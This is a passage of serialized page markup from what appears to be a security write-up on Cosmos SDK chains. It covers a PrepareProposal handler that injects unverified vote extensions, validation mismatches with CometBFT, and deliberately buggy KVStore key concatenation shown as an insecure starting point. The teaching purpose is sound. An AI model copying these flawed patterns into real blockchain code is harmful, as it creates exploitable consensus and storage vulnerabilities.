}\n}\n",[89636],{"type":24,"tag":80,"props":89637,"children":89638},{"__ignoreMap":7},[89639,89693,89784,89791,89812,89879,89887,89992,90015,90034,90041,90095,90118,90173,90192,90199,90206,90213,90267,90274,90300,90323,90375,90437,90444,90471,90491,90503,90510],{"type":24,"tag":147,"props":89640,"children":89641},{"class":149,"line":150},[89642,89646,89650,89655,89659,89664,89668,89673,89677,89681,89685,89689],{"type":24,"tag":147,"props":89643,"children":89644},{"style":218},[89645],{"type":29,"value":81884},{"type":24,"tag":147,"props":89647,"children":89648},{"style":235},[89649],{"type":29,"value":408},{"type":24,"tag":147,"props":89651,"children":89652},{"style":247},[89653],{"type":29,"value":89654},"h ",{"type":24,"tag":147,"props":89656,"children":89657},{"style":241},[89658],{"type":29,"value":244},{"type":24,"tag":147,"props":89660,"children":89661},{"style":9044},[89662],{"type":29,"value":89663},"Handlers",{"type":24,"tag":147,"props":89665,"children":89666},{"style":235},[89667],{"type":29,"value":564},{"type":24,"tag":147,"props":89669,"children":89670},{"style":229},[89671],{"type":29,"value":89672},"PrepareProposalHandler",{"type":24,"tag":147,"props":89674,"children":89675},{"style":235},[89676],{"type":29,"value":19658},{"type":24,"tag":147,"props":89678,"children":89679},{"style":9044},[89680],{"type":29,"value":84314},{"type":24,"tag":147,"props":89682,"children":89683},{"style":235},[89684],{"type":29,"value":87},{"type":24,"tag":147,"props":89686,"children":89687},{"style":9044},[89688],{"type":29,"value":89672},{"type":24,"tag":147,"props":89690,"children":89691},{"style":235},[89692],{"type":29,"value":6630},{"type":24,"tag":147,"props":89694,"children":89695},{"class":149,"line":160},[89696,89700,89704,89708,89712,89716,89720,89724,89728,89733,89737,89742,89746,89751,89755,89759,89763,89767,89772,89776,89780],{"type":24,"tag":147,"props":89697,"children":89698},{"style":321},[89699],{"type":29,"value":2597},{"type":24,"tag":147,"props":89701,"children":89702},{"style":218},[89703],{"type":29,"value":85593},{"type":24,"tag":147,"props":89705,"children":89706},{"style":235},[89707],{"type":29,"value":480},{"type":24,"tag":147,"props":89709,"children":89710},{"style":247},[89711],{"type":29,"value":25884},{"type":24,"tag":147,"props":89713,"children":89714},{"style":9044},[89715],{"type":29,"value":84225},{"type":24,"tag":147,"props":89717,"children":89718},{"style":235},[89719],{"type":29,"value":87},{"type":24,"tag":147,"props":89721,"children":89722},{"style":9044},[89723],{"type":29,"value":81933},{"type":24,"tag":147,"props":89725,"children":89726},{"style":235},[89727],{"type":29,"value":546},{"type":24,"tag":147,"props":89729,"children":89730},{"style":247},[89731],{"type":29,"value":89732},"req",{"type":24,"tag":147,"props":89734,"children":89735},{"style":241},[89736],{"type":29,"value":1263},{"type":24,"tag":147,"props":89738,"children":89739},{"style":9044},[89740],{"type":29,"value":89741},"abcitypes",{"type":24,"tag":147,"props":89743,"children":89744},{"style":235},[89745],{"type":29,"value":87},{"type":24,"tag":147,"props":89747,"children":89748},{"style":9044},[89749],{"type":29,"value":89750},"RequestPrepareProposal",{"type":24,"tag":147,"props":89752,"children":89753},{"style":235},[89754],{"type":29,"value":81966},{"type":24,"tag":147,"props":89756,"children":89757},{"style":241},[89758],{"type":29,"value":244},{"type":24,"tag":147,"props":89760,"children":89761},{"style":9044},[89762],{"type":29,"value":89741},{"type":24,"tag":147,"props":89764,"children":89765},{"style":235},[89766],{"type":29,"value":87},{"type":24,"tag":147,"props":89768,"children":89769},{"style":9044},[89770],{"type":29,"value":89771},"ResponsePrepareProposal",{"type":24,"tag":147,"props":89773,"children":89774},{"style":235},[89775],{"type":29,"value":546},{"type":24,"tag":147,"props":89777,"children":89778},{"style":9044},[89779],{"type":29,"value":20477},{"type":24,"tag":147,"props":89781,"children":89782},{"style":235},[89783],{"type":29,"value":505},{"type":24,"tag":147,"props":89785,"children":89786},{"class":149,"line":169},[89787],{"type":24,"tag":147,"props":89788,"children":89789},{"style":241},[89790],{"type":29,"value":87426},{"type":24,"tag":147,"props":89792,"children":89793},{"class":149,"line":178},[89794,89798,89803,89807],{"type":24,"tag":147,"props":89795,"children":89796},{"style":218},[89797],{"type":29,"value":85702},{"type":24,"tag":147,"props":89799,"children":89800},{"style":247},[89801],{"type":29,"value":89802}," injection",{"type":24,"tag":147,"props":89804,"children":89805},{"style":235},[89806],{"type":29,"value":81811},{"type":24,"tag":147,"props":89808,"children":89809},{"style":9044},[89810],{"type":29,"value":89811},"byte\n",{"type":24,"tag":147,"props":89813,"children":89814},{"class":149,"line":187},[89815,89819,89824,89828,89832,89836,89840,89844,89848,89852,89857,89861,89866,89870,89875],{"type":24,"tag":147,"props":89816,"children":89817},{"style":321},[89818],{"type":29,"value":403},{"type":24,"tag":147,"props":89820,"children":89821},{"style":247},[89822],{"type":29,"value":89823}," req",{"type":24,"tag":147,"props":89825,"children":89826},{"style":235},[89827],{"type":29,"value":87},{"type":24,"tag":147,"props":89829,"children":89830},{"style":247},[89831],{"type":29,"value":89062},{"type":24,"tag":147,"props":89833,"children":89834},{"style":241},[89835],{"type":29,"value":19808},{"type":24,"tag":147,"props":89837,"children":89838},{"style":247},[89839],{"type":29,"value":31444},{"type":24,"tag":147,"props":89841,"children":89842},{"style":235},[89843],{"type":29,"value":87},{"type":24,"tag":147,"props":89845,"children":89846},{"style":229},[89847],{"type":29,"value":89263},{"type":24,"tag":147,"props":89849,"children":89850},{"style":235},[89851],{"type":29,"value":35769},{"type":24,"tag":147,"props":89853,"children":89854},{"style":247},[89855],{"type":29,"value":89856},"Abci",{"type":24,"tag":147,"props":89858,"children":89859},{"style":235},[89860],{"type":29,"value":87},{"type":24,"tag":147,"props":89862,"children":89863},{"style":247},[89864],{"type":29,"value":89865},"VoteExtensionsEnableHeight",{"type":24,"tag":147,"props":89867,"children":89868},{"style":241},[89869],{"type":29,"value":4269},{"type":24,"tag":147,"props":89871,"children":89872},{"style":247},[89873],{"type":29,"value":89874}," collectSigs",{"type":24,"tag":147,"props":89876,"children":89877},{"style":235},[89878],{"type":29,"value":6630},{"type":24,"tag":147,"props":89880,"children":89881},{"class":149,"line":196},[89882],{"type":24,"tag":147,"props":89883,"children":89884},{"style":154},[89885],{"type":29,"value":89886},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":24,"tag":147,"props":89888,"children":89889},{"class":149,"line":205},[89890,89894,89898,89903,89907,89912,89916,89920,89924,89929,89933,89938,89942,89946,89950,89954,89958,89962,89966,89971,89975,89979,89983,89988],{"type":24,"tag":147,"props":89891,"children":89892},{"style":247},[89893],{"type":29,"value":87919},{"type":24,"tag":147,"props":89895,"children":89896},{"style":241},[89897],{"type":29,"value":82000},{"type":24,"tag":147,"props":89899,"children":89900},{"style":247},[89901],{"type":29,"value":89902}," baseapp",{"type":24,"tag":147,"props":89904,"children":89905},{"style":235},[89906],{"type":29,"value":87},{"type":24,"tag":147,"props":89908,"children":89909},{"style":229},[89910],{"type":29,"value":89911},"ValidateVoteExtensions",{"type":24,"tag":147,"props":89913,"children":89914},{"style":235},[89915],{"type":29,"value":480},{"type":24,"tag":147,"props":89917,"children":89918},{"style":247},[89919],{"type":29,"value":25884},{"type":24,"tag":147,"props":89921,"children":89922},{"style":235},[89923],{"type":29,"value":546},{"type":24,"tag":147,"props":89925,"children":89926},{"style":247},[89927],{"type":29,"value":89928},"h",{"type":24,"tag":147,"props":89930,"children":89931},{"style":235},[89932],{"type":29,"value":87},{"type":24,"tag":147,"props":89934,"children":89935},{"style":247},[89936],{"type":29,"value":89937},"stakingKeeper",{"type":24,"tag":147,"props":89939,"children":89940},{"style":235},[89941],{"type":29,"value":546},{"type":24,"tag":147,"props":89943,"children":89944},{"style":247},[89945],{"type":29,"value":89732},{"type":24,"tag":147,"props":89947,"children":89948},{"style":235},[89949],{"type":29,"value":87},{"type":24,"tag":147,"props":89951,"children":89952},{"style":247},[89953],{"type":29,"value":89062},{"type":24,"tag":147,"props":89955,"children":89956},{"style":235},[89957],{"type":29,"value":546},{"type":24,"tag":147,"props":89959,"children":89960},{"style":247},[89961],{"type":29,"value":25884},{"type":24,"tag":147,"props":89963,"children":89964},{"style":235},[89965],{"type":29,"value":87},{"type":24,"tag":147,"props":89967,"children":89968},{"style":229},[89969],{"type":29,"value":89970},"ChainID",{"type":24,"tag":147,"props":89972,"children":89973},{"style":235},[89974],{"type":29,"value":23982},{"type":24,"tag":147,"props":89976,"children":89977},{"style":247},[89978],{"type":29,"value":89732},{"type":24,"tag":147,"props":89980,"children":89981},{"style":235},[89982],{"type":29,"value":87},{"type":24,"tag":147,"props":89984,"children":89985},{"style":247},[89986],{"type":29,"value":89987},"LocalLastCommit",{"type":24,"tag":147,"props":89989,"children":89990},{"style":235},[89991],{"type":29,"value":269},{"type":24,"tag":147,"props":89993,"children":89994},{"class":149,"line":214},[89995,89999,90003,90007,90011],{"type":24,"tag":147,"props":89996,"children":89997},{"style":321},[89998],{"type":29,"value":64385},{"type":24,"tag":147,"props":90000,"children":90001},{"style":247},[90002],{"type":29,"value":54119},{"type":24,"tag":147,"props":90004,"children":90005},{"style":241},[90006],{"type":29,"value":69968},{"type":24,"tag":147,"props":90008,"children":90009},{"style":218},[90010],{"type":29,"value":87502},{"type":24,"tag":147,"props":90012,"children":90013},{"style":235},[90014],{"type":29,"value":6630},{"type":24,"tag":147,"props":90016,"children":90017},{"class":149,"line":272},[90018,90022,90026,90030],{"type":24,"tag":147,"props":90019,"children":90020},{"style":321},[90021],{"type":29,"value":66310},{"type":24,"tag":147,"props":90023,"children":90024},{"style":218},[90025],{"type":29,"value":87502},{"type":24,"tag":147,"props":90027,"children":90028},{"style":235},[90029],{"type":29,"value":546},{"type":24,"tag":147,"props":90031,"children":90032},{"style":247},[90033],{"type":29,"value":89222},{"type":24,"tag":147,"props":90035,"children":90036},{"class":149,"line":281},[90037],{"type":24,"tag":147,"props":90038,"children":90039},{"style":235},[90040],{"type":29,"value":1935},{"type":24,"tag":147,"props":90042,"children":90043},{"class":149,"line":299},[90044,90049,90053,90057,90061,90066,90070,90075,90079,90083,90087,90091],{"type":24,"tag":147,"props":90045,"children":90046},{"style":247},[90047],{"type":29,"value":90048},"            injection",{"type":24,"tag":147,"props":90050,"children":90051},{"style":235},[90052],{"type":29,"value":546},{"type":24,"tag":147,"props":90054,"children":90055},{"style":247},[90056],{"type":29,"value":54019},{"type":24,"tag":147,"props":90058,"children":90059},{"style":241},[90060],{"type":29,"value":651},{"type":24,"tag":147,"props":90062,"children":90063},{"style":247},[90064],{"type":29,"value":90065}," json",{"type":24,"tag":147,"props":90067,"children":90068},{"style":235},[90069],{"type":29,"value":87},{"type":24,"tag":147,"props":90071,"children":90072},{"style":229},[90073],{"type":29,"value":90074},"Marshal",{"type":24,"tag":147,"props":90076,"children":90077},{"style":235},[90078],{"type":29,"value":480},{"type":24,"tag":147,"props":90080,"children":90081},{"style":247},[90082],{"type":29,"value":89732},{"type":24,"tag":147,"props":90084,"children":90085},{"style":235},[90086],{"type":29,"value":87},{"type":24,"tag":147,"props":90088,"children":90089},{"style":247},[90090],{"type":29,"value":89987},{"type":24,"tag":147,"props":90092,"children":90093},{"style":235},[90094],{"type":29,"value":269},{"type":24,"tag":147,"props":90096,"children":90097},{"class":149,"line":308},[90098,90102,90106,90110,90114],{"type":24,"tag":147,"props":90099,"children":90100},{"style":321},[90101],{"type":29,"value":64385},{"type":24,"tag":147,"props":90103,"children":90104},{"style":247},[90105],{"type":29,"value":54119},{"type":24,"tag":147,"props":90107,"children":90108},{"style":241},[90109],{"type":29,"value":69968},{"type":24,"tag":147,"props":90111,"children":90112},{"style":218},[90113],{"type":29,"value":87502},{"type":24,"tag":147,"props":90115,"children":90116},{"style":235},[90117],{"type":29,"value":6630},{"type":24,"tag":147,"props":90119,"children":90120},{"class":149,"line":317},[90121,90126,90130,90135,90139,90143,90147,90152,90156,90161,90165,90169],{"type":24,"tag":147,"props":90122,"children":90123},{"style":247},[90124],{"type":29,"value":90125},"                h",{"type":24,"tag":147,"props":90127,"children":90128},{"style":235},[90129],{"type":29,"value":87},{"type":24,"tag":147,"props":90131,"children":90132},{"style":247},[90133],{"type":29,"value":90134},"logger",{"type":24,"tag":147,"props":90136,"children":90137},{"style":235},[90138],{"type":29,"value":87},{"type":24,"tag":147,"props":90140,"children":90141},{"style":229},[90142],{"type":29,"value":42996},{"type":24,"tag":147,"props":90144,"children":90145},{"style":235},[90146],{"type":29,"value":480},{"type":24,"tag":147,"props":90148,"children":90149},{"style":3534},[90150],{"type":29,"value":90151},"\"failed to marshal extended votes\"",{"type":24,"tag":147,"props":90153,"children":90154},{"style":235},[90155],{"type":29,"value":546},{"type":24,"tag":147,"props":90157,"children":90158},{"style":3534},[90159],{"type":29,"value":90160},"\"err\"",{"type":24,"tag":147,"props":90162,"children":90163},{"style":235},[90164],{"type":29,"value":546},{"type":24,"tag":147,"props":90166,"children":90167},{"style":247},[90168],{"type":29,"value":54019},{"type":24,"tag":147,"props":90170,"children":90171},{"style":235},[90172],{"type":29,"value":269},{"type":24,"tag":147,"props":90174,"children":90175},{"class":149,"line":332},[90176,90180,90184,90188],{"type":24,"tag":147,"props":90177,"children":90178},{"style":321},[90179],{"type":29,"value":66310},{"type":24,"tag":147,"props":90181,"children":90182},{"style":218},[90183],{"type":29,"value":87502},{"type":24,"tag":147,"props":90185,"children":90186},{"style":235},[90187],{"type":29,"value":546},{"type":24,"tag":147,"props":90189,"children":90190},{"style":247},[90191],{"type":29,"value":89222},{"type":24,"tag":147,"props":90193,"children":90194},{"class":149,"line":350},[90195],{"type":24,"tag":147,"props":90196,"children":90197},{"style":235},[90198],{"type":29,"value":1935},{"type":24,"tag":147,"props":90200,"children":90201},{"class":149,"line":358},[90202],{"type":24,"tag":147,"props":90203,"children":90204},{"style":241},[90205],{"type":29,"value":88101},{"type":24,"tag":147,"props":90207,"children":90208},{"class":149,"line":397},[90209],{"type":24,"tag":147,"props":90210,"children":90211},{"style":235},[90212],{"type":29,"value":441},{"type":24,"tag":147,"props":90214,"children":90215},{"class":149,"line":421},[90216,90221,90225,90229,90233,90238,90242,90247,90251,90255,90259,90263],{"type":24,"tag":147,"props":90217,"children":90218},{"style":247},[90219],{"type":29,"value":90220},"        defaultRes",{"type":24,"tag":147,"props":90222,"children":90223},{"style":235},[90224],{"type":29,"value":546},{"type":24,"tag":147,"props":90226,"children":90227},{"style":247},[90228],{"type":29,"value":54019},{"type":24,"tag":147,"props":90230,"children":90231},{"style":241},[90232],{"type":29,"value":82000},{"type":24,"tag":147,"props":90234,"children":90235},{"style":247},[90236],{"type":29,"value":90237}," h",{"type":24,"tag":147,"props":90239,"children":90240},{"style":235},[90241],{"type":29,"value":87},{"type":24,"tag":147,"props":90243,"children":90244},{"style":229},[90245],{"type":29,"value":90246},"defaultPrepareProposal",{"type":24,"tag":147,"props":90248,"children":90249},{"style":235},[90250],{"type":29,"value":480},{"type":24,"tag":147,"props":90252,"children":90253},{"style":247},[90254],{"type":29,"value":25884},{"type":24,"tag":147,"props":90256,"children":90257},{"style":235},[90258],{"type":29,"value":546},{"type":24,"tag":147,"props":90260,"children":90261},{"style":247},[90262],{"type":29,"value":89732},{"type":24,"tag":147,"props":90264,"children":90265},{"style":235},[90266],{"type":29,"value":269},{"type":24,"tag":147,"props":90268,"children":90269},{"class":149,"line":435},[90270],{"type":24,"tag":147,"props":90271,"children":90272},{"style":241},[90273],{"type":29,"value":87426},{"type":24,"tag":147,"props":90275,"children":90276},{"class":149,"line":444},[90277,90282,90286,90291,90295],{"type":24,"tag":147,"props":90278,"children":90279},{"style":247},[90280],{"type":29,"value":90281},"        proposalTxs",{"type":24,"tag":147,"props":90283,"children":90284},{"style":241},[90285],{"type":29,"value":82000},{"type":24,"tag":147,"props":90287,"children":90288},{"style":247},[90289],{"type":29,"value":90290}," defaultRes",{"type":24,"tag":147,"props":90292,"children":90293},{"style":235},[90294],{"type":29,"value":87},{"type":24,"tag":147,"props":90296,"children":90297},{"style":247},[90298],{"type":29,"value":90299},"Txs\n",{"type":24,"tag":147,"props":90301,"children":90302},{"class":149,"line":452},[90303,90307,90311,90315,90319],{"type":24,"tag":147,"props":90304,"children":90305},{"style":321},[90306],{"type":29,"value":403},{"type":24,"tag":147,"props":90308,"children":90309},{"style":247},[90310],{"type":29,"value":89802},{"type":24,"tag":147,"props":90312,"children":90313},{"style":241},[90314],{"type":29,"value":69968},{"type":24,"tag":147,"props":90316,"children":90317},{"style":218},[90318],{"type":29,"value":87502},{"type":24,"tag":147,"props":90320,"children":90321},{"style":235},[90322],{"type":29,"value":6630},{"type":24,"tag":147,"props":90324,"children":90325},{"class":149,"line":461},[90326,90331,90335,90339,90344,90349,90353,90358,90362,90367,90371],{"type":24,"tag":147,"props":90327,"children":90328},{"style":247},[90329],{"type":29,"value":90330},"            proposalTxs",{"type":24,"tag":147,"props":90332,"children":90333},{"style":241},[90334],{"type":29,"value":651},{"type":24,"tag":147,"props":90336,"children":90337},{"style":229},[90338],{"type":29,"value":83280},{"type":24,"tag":147,"props":90340,"children":90341},{"style":235},[90342],{"type":29,"value":90343},"([][]",{"type":24,"tag":147,"props":90345,"children":90346},{"style":9044},[90347],{"type":29,"value":90348},"byte",{"type":24,"tag":147,"props":90350,"children":90351},{"style":235},[90352],{"type":29,"value":82202},{"type":24,"tag":147,"props":90354,"children":90355},{"style":247},[90356],{"type":29,"value":90357},"injection",{"type":24,"tag":147,"props":90359,"children":90360},{"style":235},[90361],{"type":29,"value":82221},{"type":24,"tag":147,"props":90363,"children":90364},{"style":247},[90365],{"type":29,"value":90366},"proposalTxs",{"type":24,"tag":147,"props":90368,"children":90369},{"style":241},[90370],{"type":29,"value":15212},{"type":24,"tag":147,"props":90372,"children":90373},{"style":235},[90374],{"type":29,"value":269},{"type":24,"tag":147,"props":90376,"children":90377},{"class":149,"line":469},[90378,90383,90387,90391,90395,90399,90403,90408,90412,90417,90421,90425,90429,90433],{"type":24,"tag":147,"props":90379,"children":90380},{"style":247},[90381],{"type":29,"value":90382},"            h",{"type":24,"tag":147,"props":90384,"children":90385},{"style":235},[90386],{"type":29,"value":87},{"type":24,"tag":147,"props":90388,"children":90389},{"style":247},[90390],{"type":29,"value":90134},{"type":24,"tag":147,"props":90392,"children":90393},{"style":235},[90394],{"type":29,"value":87},{"type":24,"tag":147,"props":90396,"children":90397},{"style":229},[90398],{"type":29,"value":30311},{"type":24,"tag":147,"props":90400,"children":90401},{"style":235},[90402],{"type":29,"value":480},{"type":24,"tag":147,"props":90404,"children":90405},{"style":3534},[90406],{"type":29,"value":90407},"\"injected local last commit\"",{"type":24,"tag":147,"props":90409,"children":90410},{"style":235},[90411],{"type":29,"value":546},{"type":24,"tag":147,"props":90413,"children":90414},{"style":3534},[90415],{"type":29,"value":90416},"\"height\"",{"type":24,"tag":147,"props":90418,"children":90419},{"style":235},[90420],{"type":29,"value":546},{"type":24,"tag":147,"props":90422,"children":90423},{"style":247},[90424],{"type":29,"value":89732},{"type":24,"tag":147,"props":90426,"children":90427},{"style":235},[90428],{"type":29,"value":87},{"type":24,"tag":147,"props":90430,"children":90431},{"style":247},[90432],{"type":29,"value":89062},{"type":24,"tag":147,"props":90434,"children":90435},{"style":235},[90436],{"type":29,"value":269},{"type":24,"tag":147,"props":90438,"children":90439},{"class":149,"line":508},[90440],{"type":24,"tag":147,"props":90441,"children":90442},{"style":235},[90443],{"type":29,"value":441},{"type":24,"tag":147,"props":90445,"children":90446},{"class":149,"line":572},[90447,90451,90455,90459,90463,90467],{"type":24,"tag":147,"props":90448,"children":90449},{"style":321},[90450],{"type":29,"value":7020},{"type":24,"tag":147,"props":90452,"children":90453},{"style":241},[90454],{"type":29,"value":12767},{"type":24,"tag":147,"props":90456,"children":90457},{"style":9044},[90458],{"type":29,"value":89741},{"type":24,"tag":147,"props":90460,"children":90461},{"style":235},[90462],{"type":29,"value":87},{"type":24,"tag":147,"props":90464,"children":90465},{"style":9044},[90466],{"type":29,"value":89771},{"type":24,"tag":147,"props":90468,"children":90469},{"style":235},[90470],{"type":29,"value":278},{"type":24,"tag":147,"props":90472,"children":90473},{"class":149,"line":591},[90474,90479,90483,90487],{"type":24,"tag":147,"props":90475,"children":90476},{"style":247},[90477],{"type":29,"value":90478},"            Txs",{"type":24,"tag":147,"props":90480,"children":90481},{"style":235},[90482],{"type":29,"value":20943},{"type":24,"tag":147,"props":90484,"children":90485},{"style":247},[90486],{"type":29,"value":90366},{"type":24,"tag":147,"props":90488,"children":90489},{"style":235},[90490],{"type":29,"value":1549},{"type":24,"tag":147,"props":90492,"children":90493},{"class":149,"line":632},[90494,90499],{"type":24,"tag":147,"props":90495,"children":90496},{"style":235},[90497],{"type":29,"value":90498},"        }, ",{"type":24,"tag":147,"props":90500,"children":90501},{"style":218},[90502],{"type":29,"value":82226},{"type":24,"tag":147,"props":90504,"children":90505},{"class":149,"line":659},[90506],{"type":24,"tag":147,"props":90507,"children":90508},{"style":235},[90509],{"type":29,"value":1952},{"type":24,"tag":147,"props":90511,"children":90512},{"class":149,"line":684},[90513],{"type":24,"tag":147,"props":90514,"children":90515},{"style":235},[90516],{"type":29,"value":827},{"type":24,"tag":25,"props":90518,"children":90519},{},[90520,90522,90527,90528,90533,90535,90542],{"type":29,"value":90521},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":80,"props":90523,"children":90525},{"className":90524},[],[90526],{"type":29,"value":88891},{"type":29,"value":408},{"type":24,"tag":80,"props":90529,"children":90531},{"className":90530},[],[90532],{"type":29,"value":88959},{"type":29,"value":90534},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":2773,"props":90536,"children":90539},{"href":90537,"rel":90538},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[2777],[90540],{"type":29,"value":90541},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":29,"value":90543},", which will later get rejected by CometBTF.",{"type":24,"tag":32,"props":90545,"children":90547},{"id":90546},"the-keymaker",[90548],{"type":29,"value":90549},"The Keymaker",{"type":24,"tag":25,"props":90551,"children":90552},{},[90553,90555,90561,90563,90568],{"type":29,"value":90554},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":80,"props":90556,"children":90558},{"className":90557},[],[90559],{"type":29,"value":90560},"KVStore",{"type":29,"value":90562}," to handle states efficently. In ",{"type":24,"tag":80,"props":90564,"children":90566},{"className":90565},[],[90567],{"type":29,"value":90560},{"type":29,"value":90569},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":25,"props":90571,"children":90572},{},[90573],{"type":29,"value":90574},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":25,"props":90576,"children":90577},{},[90578,90580,90586],{"type":29,"value":90579},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":80,"props":90581,"children":90583},{"className":90582},[],[90584],{"type":29,"value":90585},"positionMap",{"type":29,"value":90587}," structure mentioned below into storage.",{"type":24,"tag":137,"props":90589,"children":90591},{"code":90590,"language":81748,"meta":7,"className":81749,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[90592],{"type":24,"tag":80,"props":90593,"children":90594},{"__ignoreMap":7},[90595,90611,90628,90644,90663,90678,90685,90702],{"type":24,"tag":147,"props":90596,"children":90597},{"class":149,"line":150},[90598,90602,90607],{"type":24,"tag":147,"props":90599,"children":90600},{"style":218},[90601],{"type":29,"value":38357},{"type":24,"tag":147,"props":90603,"children":90604},{"style":9044},[90605],{"type":29,"value":90606}," VaultId",{"type":24,"tag":147,"props":90608,"children":90609},{"style":9044},[90610],{"type":29,"value":81786},{"type":24,"tag":147,"props":90612,"children":90613},{"class":149,"line":160},[90614,90618,90623],{"type":24,"tag":147,"props":90615,"children":90616},{"style":218},[90617],{"type":29,"value":38357},{"type":24,"tag":147,"props":90619,"children":90620},{"style":9044},[90621],{"type":29,"value":90622}," Username",{"type":24,"tag":147,"props":90624,"children":90625},{"style":9044},[90626],{"type":29,"value":90627}," string\n",{"type":24,"tag":147,"props":90629,"children":90630},{"class":149,"line":169},[90631,90635,90640],{"type":24,"tag":147,"props":90632,"children":90633},{"style":218},[90634],{"type":29,"value":38357},{"type":24,"tag":147,"props":90636,"children":90637},{"style":9044},[90638],{"type":29,"value":90639}," PositionName",{"type":24,"tag":147,"props":90641,"children":90642},{"style":9044},[90643],{"type":29,"value":90627},{"type":24,"tag":147,"props":90645,"children":90646},{"class":149,"line":178},[90647,90651,90655,90659],{"type":24,"tag":147,"props":90648,"children":90649},{"style":218},[90650],{"type":29,"value":38357},{"type":24,"tag":147,"props":90652,"children":90653},{"style":9044},[90654],{"type":29,"value":13050},{"type":24,"tag":147,"props":90656,"children":90657},{"style":218},[90658],{"type":29,"value":26753},{"type":24,"tag":147,"props":90660,"children":90661},{"style":235},[90662],{"type":29,"value":6630},{"type":24,"tag":147,"props":90664,"children":90665},{"class":149,"line":187},[90666,90670,90674],{"type":24,"tag":147,"props":90667,"children":90668},{"style":247},[90669],{"type":29,"value":48828},{"type":24,"tag":147,"props":90671,"children":90672},{"style":235},[90673],{"type":29,"value":81811},{"type":24,"tag":147,"props":90675,"children":90676},{"style":9044},[90677],{"type":29,"value":89811},{"type":24,"tag":147,"props":90679,"children":90680},{"class":149,"line":196},[90681],{"type":24,"tag":147,"props":90682,"children":90683},{"style":235},[90684],{"type":29,"value":827},{"type":24,"tag":147,"props":90686,"children":90687},{"class":149,"line":205},[90688,90692,90697],{"type":24,"tag":147,"props":90689,"children":90690},{"style":218},[90691],{"type":29,"value":38357},{"type":24,"tag":147,"props":90693,"children":90694},{"style":9044},[90695],{"type":29,"value":90696}," PositionMap",{"type":24,"tag":147,"props":90698,"children":90699},{"style":241},[90700],{"type":29,"value":90701}," :=\n",{"type":24,"tag":147,"props":90703,"children":90704},{"class":149,"line":214},[90705,90710,90714,90719,90723,90727,90731,90736,90740,90744,90748,90753,90757],{"type":24,"tag":147,"props":90706,"children":90707},{"style":218},[90708],{"type":29,"value":90709},"    map",{"type":24,"tag":147,"props":90711,"children":90712},{"style":235},[90713],{"type":29,"value":9358},{"type":24,"tag":147,"props":90715,"children":90716},{"style":9044},[90717],{"type":29,"value":90718},"VaultId",{"type":24,"tag":147,"props":90720,"children":90721},{"style":235},[90722],{"type":29,"value":21023},{"type":24,"tag":147,"props":90724,"children":90725},{"style":218},[90726],{"type":29,"value":72684},{"type":24,"tag":147,"props":90728,"children":90729},{"style":235},[90730],{"type":29,"value":9358},{"type":24,"tag":147,"props":90732,"children":90733},{"style":9044},[90734],{"type":29,"value":90735},"Username",{"type":24,"tag":147,"props":90737,"children":90738},{"style":235},[90739],{"type":29,"value":21023},{"type":24,"tag":147,"props":90741,"children":90742},{"style":218},[90743],{"type":29,"value":72684},{"type":24,"tag":147,"props":90745,"children":90746},{"style":235},[90747],{"type":29,"value":9358},{"type":24,"tag":147,"props":90749,"children":90750},{"style":9044},[90751],{"type":29,"value":90752},"PositionName",{"type":24,"tag":147,"props":90754,"children":90755},{"style":235},[90756],{"type":29,"value":21023},{"type":24,"tag":147,"props":90758,"children":90759},{"style":9044},[90760],{"type":29,"value":90761},"Position\n",{"type":24,"tag":25,"props":90763,"children":90764},{},[90765,90767,90773],{"type":29,"value":90766},"Given that there are two levels of keys in ",{"type":24,"tag":80,"props":90768,"children":90770},{"className":90769},[],[90771],{"type":29,"value":90772},"PositionMap",{"type":29,"value":90774},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":137,"props":90776,"children":90778},{"code":90777,"language":81748,"meta":7,"className":81749,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[90779],{"type":24,"tag":80,"props":90780,"children":90781},{"__ignoreMap":7},[90782,90811,90823,90835,90847,90859],{"type":24,"tag":147,"props":90783,"children":90784},{"class":149,"line":150},[90785,90790,90794,90798,90802,90807],{"type":24,"tag":147,"props":90786,"children":90787},{"style":247},[90788],{"type":29,"value":90789},"storageKey",{"type":24,"tag":147,"props":90791,"children":90792},{"style":241},[90793],{"type":29,"value":82000},{"type":24,"tag":147,"props":90795,"children":90796},{"style":247},[90797],{"type":29,"value":87818},{"type":24,"tag":147,"props":90799,"children":90800},{"style":235},[90801],{"type":29,"value":87},{"type":24,"tag":147,"props":90803,"children":90804},{"style":229},[90805],{"type":29,"value":90806},"Sprintf",{"type":24,"tag":147,"props":90808,"children":90809},{"style":235},[90810],{"type":29,"value":9088},{"type":24,"tag":147,"props":90812,"children":90813},{"class":149,"line":160},[90814,90819],{"type":24,"tag":147,"props":90815,"children":90816},{"style":3534},[90817],{"type":29,"value":90818},"    \"%d%s%s\"",{"type":24,"tag":147,"props":90820,"children":90821},{"style":235},[90822],{"type":29,"value":1549},{"type":24,"tag":147,"props":90824,"children":90825},{"class":149,"line":169},[90826,90831],{"type":24,"tag":147,"props":90827,"children":90828},{"style":247},[90829],{"type":29,"value":90830},"    vaultId",{"type":24,"tag":147,"props":90832,"children":90833},{"style":235},[90834],{"type":29,"value":1549},{"type":24,"tag":147,"props":90836,"children":90837},{"class":149,"line":178},[90838,90843],{"type":24,"tag":147,"props":90839,"children":90840},{"style":247},[90841],{"type":29,"value":90842},"    